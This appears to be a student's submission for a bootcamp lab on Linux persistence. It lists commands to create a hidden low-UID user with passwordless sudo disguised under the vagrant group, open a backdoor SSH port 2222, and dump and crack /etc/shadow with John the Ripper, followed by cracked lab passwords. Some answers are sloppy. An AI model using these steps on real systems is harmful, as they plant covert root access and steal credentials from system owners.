

Week 6 Homework Submission File: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

Step 1: Shadow People

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created:

- `useradd --no-create-home -u 666 sysd`

2. Give your secret user a password:

-As sysd: Delete current blank password: `sudo passwd -d whoami`
-passwd
passwd set to "sudoers"

3. Give your secret user a system UID < 1000:

- `useradd --no-create-home -u 666 sysd`

4. Give your secret user the same GID:

- `groupmod -g 666 sysd`

5. Give your secret user full `sudo` access without the need for a password:

- `sudo visudo`
- Under `#vagrant` group (it must be legit, it's part of vagrant right?):
- `sysd ALL=(ALL:ALL) NOPASSWD:ALL`

6. Test that `sudo` access works without your password:

```
$ sudo -l
```

Matching Defaults entries for sysd on scavenger-hunt:

env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sysd may run the following commands on scavenger-hunt:

(ALL : ALL) NOPASSWD: ALL

Step 2: Smooth Sailing

1. Edit the `sshd_config` file:

```
$ sudo nano /etc/ssh/sshd_config
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add additional port line

#port 22

port 2222

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Step 3: Testing Your Configuration Update

1. Restart the SSH service:
 - `sudo systemctl restart ssh.service`
2. Exit the `root` account:

- ``exit`

3. SSH to the target machine using your `sysd` account and port `2222`:

- `ssh sysd@192.168.6.105 -p 2222`

4. Use `sudo` to switch to the root user:

- `sudo -s`

Step 4: Crack All the Passwords

1. SSH back to the system using your `sysd` account and port `2222`:

- `ssh sysd@192.168.6.105 -p 2222`

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file:

- `sudo -s`
- `cat /etc/passwd > passwd.txt`
- `cat /etc/shadow > shadow.txt`
- `unshadow passwd.txt shadow.txt > passwords.txt`
- `john passwords.txt`
- `root:root\ $ john --show passwords.txt`

`sysadmin:passw0rd:1000:1000:sysadmin:/home/sysadmin:/bin/bash`

`student:Goodluck!:1001:1001:/home/student:/bin/bash`

`mitnik:trustno1:1002:1002:/home/mitnik:/bin/bash`

`babbage:freedom:1003:1003:/home/babbage:/bin/bash`

`lovelace:dragon:1004:1004:/home/lovelace:/bin/bash`

`stallman:computer:1005:1005:/home/stallman:/bin/bash`

`turing:lakers:1006:1006:/home/turing:/bin/bash`

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